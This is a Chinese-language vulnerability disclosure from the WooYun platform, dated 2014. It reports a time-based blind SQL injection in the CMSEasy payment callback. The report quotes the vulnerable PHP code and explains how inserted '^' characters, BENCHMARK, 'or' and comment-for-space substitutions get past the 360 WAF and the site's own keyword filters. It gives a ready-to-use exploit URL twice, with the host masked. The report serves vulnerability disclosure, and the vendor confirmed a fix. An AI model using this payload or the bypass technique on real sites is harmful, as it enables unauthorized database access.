当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080382

漏洞标题:cmseasy 最新版补丁绕过sql注入(绕过360waf)

相关厂商:cmseasy

漏洞作者: 路人甲

提交时间:2014-10-23 10:23

修复时间:2015-01-21 10:24

公开时间:2015-01-21 10:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-23: 细节已通知厂商并且等待厂商处理中
2014-10-24: 厂商已经确认,细节仅向厂商公开
2014-10-27: 细节向第三方安全合作伙伴开放
2014-12-18: 细节向核心白帽子及相关领域专家公开
2014-12-28: 细节向普通白帽子公开
2015-01-07: 细节向实习白帽子公开
2015-01-21: 细节向公众公开

简要描述:

继续绕啊绕啊

详细说明:

首先还是老地方:archive_act.php(611行)

function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();
if ($status) {
echo '<script type="text/javascript">alert("' . lang('已经付款,跳转到订单查询') . '")</script>';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
} else {
echo '<script type="text/javascript">alert("' . lang('跳转到订单查询') . '")</script>';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
}
}


$tmp1与$tmp[1]开发人员一时犯糊涂,没看清,导致无效过滤。而且这里get参数进行了重组,从$_SERVER["REQUEST_URI"]分割获取,多此一举,还导致之前的过滤全部无效,这边过滤又失效。
通过front::$get['code'] 可以控制需要加载的pay文件,
再看文件: alipay.php:

function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
if (!pay::check_money($order_sn,$_GET['total_fee'])) {
return false;
}
if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {
pay::changeorders($order_sn,$_GET);
return true;
}else {
return false;
}
}


控制参数trade_status=WAIT_SELLER_SEND_GOODS, 进入pay::changeorders($order_sn,$_GET);

public static function changeorders($id,$orderlog) {
//file_put_contents('logs.txt', $id);
$where=array();
$where['id']=$id;
$where['status']=4;
//$where['orderlog']=serialize($orderlog);
$update=orders::getInstance()->rec_update($where,$id);
if($update<1) {
exit('改变订单状态出错,请联系管理员');
}
}


在这里 $id 就是之前$order_sn,可以直接由get参数控制。
进入这个方法:$update=orders::getInstance()->rec_update($where,$id);

function rec_update($row,$where) {
$tbname=$this->name;
$sql=$this->sql_update($tbname,$row,$where);
//echo $sql."<br>";
return $this->query_unbuffered($sql);
}


这里程序员又犯糊涂了, rec_update的方法 where变量明显是第二个参数,传入的时候居然$where放到了第一个参数(这个程序员开了吧!),这样$id值就被当做sql语句的条件了。
好吧 开始绕waf:
首先是360的waf: 检测了好多危险函数,更可恶的全局过滤单引号,看到就杀。但是$order_sn 直接被带入到了where后面 根本不需要单引号,不起作用, 在之前的方法中有一个:
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
这样利用替换功能,在危险函数中间都插入^, 再把subject设置成^,就可以成功绕过360waf。
接下来在sql语句执行的时候又有一个过滤器:

if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}


由于是update注入,又不能显示错误,sleep被过滤,只能用BENCHMARK。
又过滤了if,只能用or。
get参数又是从querystring中直接过去,空格会被替换成%20,所有只能用/**/替换:
最终的POC:(延时盲注法,稍微改动下)

mask 区域
1.http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS


漏洞证明:

mask 区域
1.http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS

修复方案:

这次绕晕了!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-10-24 11:01

厂商回复:

修正

最新状态:

2014-10-24:已经被开了。。。。